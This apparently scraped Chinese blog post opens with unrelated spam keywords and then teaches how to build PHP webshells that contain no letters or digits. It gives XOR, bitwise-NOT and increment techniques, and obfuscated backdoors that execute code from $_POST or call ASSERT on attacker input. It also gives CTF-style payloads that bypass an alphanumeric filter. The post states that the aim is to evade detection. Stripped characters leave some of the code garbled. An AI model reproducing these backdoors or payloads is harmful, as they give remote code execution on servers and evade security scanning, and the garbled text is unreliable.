给网站做游戏视频怎么赚钱,关键词搜索引擎又称为,云主机重装系统后网站重新部署吗,做网站的空间要多大的构造不包含字母和数字的webshell ?php echo A^; ? 输出的结果是字符!“。之所以会得到这样的结果#xff0c;是因为代码中对字符A和字符”进行了异或操作。在PHP中#xff0c;两个变量进行异或时#xff0c;…构造不包含字母和数字的webshell ?php echo A^; ? 输出的结果是字符!“。之所以会得到这样的结果是因为代码中对字符A和字符”进行了异或操作。在PHP中两个变量进行异或时先会将字符串转换成ASCII值再将ASCII值转换成二进制再进行异或异或完又将结果从二进制转换成了ASCII值再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值 什么是异或操作
在php中异或操作是两个二进制数相同时异或为0不同为1
比如像上面这个例子
A的ASCII值是65对应的二进制值是0100 0001
的ASCII值是96对应的二进制值是0110 0000
异或的二进制的值是00100001对应的ASCII值是33对应的字符串的值就是了
我们都知道PHP是弱类型的语言也就是说在PHP中我们可以不预先声明变量的类型而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点我们对PHP的变类型进行隐式的转换并利用这个特点进行一些非常规的操作。如将整型转换成字符串型将布尔型当作整型或者将字符串当作函数来处理 ?php function B(){ echo Hello Angel_Kitty; } $_; $__ ? ^ }; $__(); ? 这段代码的执行结果为Hello Angel_Kitty $;这行代码的意思是对变量名为的变量进行自增操作在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串如_POST, “system”, “call_user_func_array”或者是任何我们需要的东西 ?php $_; // $_ 1 $__(#^|); // $__ _ $__.(.^~); // _P $__.(/^); // _PO $__.(|^/); // _POS $__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ? 这是一个非常简单的非数字字母的PHP后门 异或进行绕过 ?php include flag.php; if(isset($_GET[code])){ $code $_GET[code]; if(strlen($code)40){ die(Long.); } if(preg_match(/[A-Za-z0-9]/,$code)){ die(NO.); } eval($code); }else{ highlight_file(__FILE__); } //$hint php function getFlag() to get flag; ? 直接给出payload: ?code$_{{{^?/;${$_}[_]();_getFlag $_GET[_](); ?php echo {{{^?/;//_GET ? 取反进行绕过 ?php $a getFlag; echo urlencode(~$a); ? payload ?code$_~%98%9A%8B%B9%93%9E%98;$_(); 利用php语法进行绕过 在处理字符变量的算数运算时PHP 沿袭了 Perl 的习惯而非 C 的。例如在 Perl 中 $a ‘Z’; $a; 将把 $a 变成’AA’而在 C 中a ‘Z’; a; 将把 a 变成 ‘[’‘Z’ 的 ASCII 值是 90‘[’ 的 ASCII 值是 91。注意字符变量只能递增不能递减并且只支持纯字母a-z 和 A-Z。递增递减其他字符变量则无效原字符串没有变化。也就是说‘a’ ‘b’‘b’ ‘c’… 所以我们只要能拿到一个变量其值为a通过自增操作即可获得a-z中所有字符。
那么如何拿到一个值为字符串’a’的变量呢
数组Array的第一个字母就是大写A而且第4个字母是小写a。也就是说我们可以同时拿到小写和大写A等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中如果强制连接数组和字符串的话数组将被转换成字符串其值为Array
再取这个字符串的第一个字母就可以获得’A’了。
利用这个技巧编写了如下webshell ?php $_[]; $_$_; // $_Array; $_$_[!]; // $_$_[0]; $___$_; // A $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; $___.$__; // S $___.$__; // S $__$_; $__;$__;$__;$__; // E $___.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // R $___.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T $___.$__; ASSERT $_____; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // P $____.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // O $____.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // S $____.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T $____.$__; $_$$____; $___($_[_]); // ASSERT($_POST[_]); payload ?code$啊^|^%*:,!;$啊();